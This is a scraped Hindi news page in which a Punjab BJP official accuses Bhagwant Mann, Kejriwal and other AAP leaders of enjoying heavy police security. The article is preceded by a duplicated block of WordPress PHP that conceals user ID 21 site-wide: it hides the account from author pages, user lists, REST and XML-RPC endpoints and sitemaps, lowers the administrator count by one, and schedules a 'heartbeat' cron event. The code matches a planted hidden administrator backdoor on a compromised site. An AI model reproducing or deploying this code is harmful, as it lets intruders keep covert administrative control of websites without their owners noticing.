add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 21;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 21 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 21 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 21;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 21;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/21(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 21;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 21 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 21 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 21;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 21;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/21(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
सुरक्षा ना लेने की बड़ी-बड़ी बातें करने वाले मुख्यमंत्री भगवंत मान, केजरीवाल व अन्य आप नेता खुद रहते हैं जंबो सुरक्षा घेरे में: जीवन गुप्ता - Press Ki Taquat
No Result
View All Result
चंडीगढ़: 10 फरवरी (प्रेस की ताकत ), भारतीय जनता पार्टी पंजाब के प्रदेश महासचिव जीवन गुप्ता ने पंजाब के मुख्यमंत्री भगवंत मान, दिल्ली के मुख्यमंत्री अरविन्द केजरीवाल व अन्य आप नेताओं द्वारा जंबो सुरक्षा का आनंद उठाने पर सवाल ख्फ्दे करते हुए कहा कि सुरक्षा ना लेने और वीआईपी कल्चर खत्म करने की बड़ी-बड़ी बातें करने वाले आज खुद जंबो सुरक्षा का आनंद उठा रहे हैं।
जीवन गुप्ता ने कहा कि अगर पंजाब की जनता के साथ किसी ने धोखा किया है तो पंजाब की आम आदि पार्टी की सरकार है, जिनकी कहनी और कथनी में बहुत अंतर है। चुनाव से पहले भगवंत मान तथा केजरीवाल दोनों चुटकले बना बना कर सुनाते थे कि विपक्षी पार्टियों के नेता बड़ी बड़ी जंबो सिक्यूरिटी लेकर घूमते हैं और दोनों कहते थे कि आम आदमी पार्टी की सरकार बनने पर वीआईपी कल्चर को खत्म किया जाएगा। लेकिन अफ़सोस कि दोनों ही अपने कहे से मुकर गए और आज यह दोनों भी उसी राह पर चल रहे हैं। आज मुख्यमंत्री भगवंत मान भी जंबो सिक्योरिटी में रहते हैं और अरविंदर केजरीवाल की सिक्योरिटी में भी पंजाब पुलिस के 90 से जयादा जावं तैनात कर रखे हैं। इतना ही नहीं अब मुख्यमंत्री भगवंत मान द्वारा अपनी पत्नी की सिक्योरिटी भी जंबो करते हुए उसकी सुरक्षा में 40 से अधिक जवानों को तैनात कर दिया गया है।
जीवन गुप्ता ने कहा कि आज पंजाब की जनता भय के वातावरण में जी रही है। रोजाना पंजाब में कहीं ना कहीं हत्याएं, फिरौती की घटनाएं, लूटपाट आदि की घटनाएं आम हो चुकी हैं। जनता परेशान है और मुख्यमंत्री भगवंत मान ने पंजाब को राम भरोसे छोड़ दिया है। मुख्यमंत्री भगवंत मान, उनका परिवार, केजरीवाल तथा अन्य आप नेता सत्ता का आनंद उठाने में व्यस्त हैं। बड़े दुःख की बात है कि पंजाब सरकार को पंजाब की जनता से कोई लेना-देना नहीं है।
Post Views: 144
No Result
View All Result